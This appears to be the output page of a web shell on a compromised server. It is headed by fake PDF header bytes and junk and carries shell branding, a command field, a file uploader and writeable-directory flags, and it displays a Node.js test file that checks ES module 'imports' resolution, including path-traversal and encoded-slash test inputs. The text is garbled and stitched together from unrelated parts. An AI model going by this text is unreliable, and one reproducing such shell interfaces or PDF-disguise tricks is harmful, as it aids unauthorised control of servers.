%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /home/ubuntu/node-v16.18.1/test/es-module/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //home/ubuntu/node-v16.18.1/test/es-module/test-esm-imports.mjs
import { mustCall } from '../common/index.mjs';
import { ok, deepStrictEqual, strictEqual } from 'assert';

import importer from '../fixtures/es-modules/pkgimports/importer.js';
import { requireFixture } from '../fixtures/pkgexports.mjs';

const { requireImport, importImport } = importer;

[requireImport, importImport].forEach((loadFixture) => {
  const isRequire = loadFixture === requireImport;

  const internalImports = new Map([
    // Base case
    ['#test', { default: 'test' }],
    // import / require conditions
    ['#branch', { default: isRequire ? 'requirebranch' : 'importbranch' }],
    // Subpath imports
    ['#subpath/x.js', { default: 'xsubpath' }],
    // External imports
    ['#external', { default: 'asdf' }],
    // External subpath imports
    ['#external/subpath/asdf.js', { default: 'asdf' }],
    // Trailing pattern imports
    ['#subpath/asdf.asdf', { default: 'test' }],
  ]);

  for (const [validSpecifier, expected] of internalImports) {
    if (validSpecifier === null) continue;

    loadFixture(validSpecifier)
      .then(mustCall((actual) => {
        deepStrictEqual({ ...actual }, expected);
      }));
  }

  const invalidImportTargets = new Set([
    // External subpath import without trailing slash
    ['#external/invalidsubpath/x', '#external/invalidsubpath/'],
    // Target steps below the package base
    ['#belowbase', '#belowbase'],
    // Target is a URL
    ['#url', '#url'],
  ]);

  for (const [specifier, subpath] of invalidImportTargets) {
    loadFixture(specifier).catch(mustCall((err) => {
      strictEqual(err.code, 'ERR_INVALID_PACKAGE_TARGET');
      assertStartsWith(err.message, 'Invalid "imports"');
      assertIncludes(err.message, subpath);
      assertNotIncludes(err.message, 'targets must start with');
    }));
  }

  const invalidImportSpecifiers = new Map([
    // Backtracking below the package base
    ['#subpath/sub/../../../belowbase', 'request is not a valid subpath'],
    // Percent-encoded slash errors
    ['#external/subpath/x%2Fy', 'must not include encoded "/" or "\\"'],
    ['#external/subpath/x%5Cy', 'must not include encoded "/" or "\\"'],
    // Target must have a name
    ['#', '#'],
    // Initial slash target must have a leading name
    ['#/initialslash', '#/initialslash'],
    // Percent-encoded target paths
    ['#encodedslash', 'must not include encoded "/" or "\\"'],
    ['#encodedbackslash', 'must not include encoded "/" or "\\"'],
  ]);

  for (const [specifier, expected] of invalidImportSpecifiers) {
    loadFixture(specifier).catch(mustCall((err) => {
      strictEqual(err.code, 'ERR_INVALID_MODULE_SPECIFIER');
      assertStartsWith(err.message, 'Invalid module');
      assertIncludes(err.message, expected);
    }));
  }

  const undefinedImports = new Set([
    // Missing import
    '#missing',
    // Explicit null import
    '#null',
    // No condition match import
    '#nullcondition',
    // Null subpath shadowing
    '#subpath/nullshadow/x',
  ]);

  for (const specifier of undefinedImports) {
    loadFixture(specifier).catch(mustCall((err) => {
      strictEqual(err.code, 'ERR_PACKAGE_IMPORT_NOT_DEFINED');
      assertStartsWith(err.message, 'Package import ');
      assertIncludes(err.message, specifier);
    }));
  }

  // Handle not found for the defined imports target not existing
  loadFixture('#notfound').catch(mustCall((err) => {
    strictEqual(err.code,
                isRequire ? 'MODULE_NOT_FOUND' : 'ERR_MODULE_NOT_FOUND');
  }));
});

// CJS resolver must still support #package packages in node_modules
requireFixture('#cjs').then(mustCall((actual) => {
  strictEqual(actual.default, 'cjs backcompat');
}));

function assertStartsWith(actual, expected) {
  const start = actual.toString().substr(0, expected.length);
  strictEqual(start, expected);
}

function assertIncludes(actual, expected) {
  ok(actual.toString().indexOf(expected) !== -1,
     `${JSON.stringify(actual)} includes ${JSON.stringify(expected)}`);
}

function assertNotIncludes(actual, expected) {
  ok(actual.toString().indexOf(expected) === -1,
     `${JSON.stringify(actual)} doesn't include ${JSON.stringify(expected)}`);
}

Kontol Shell Bypass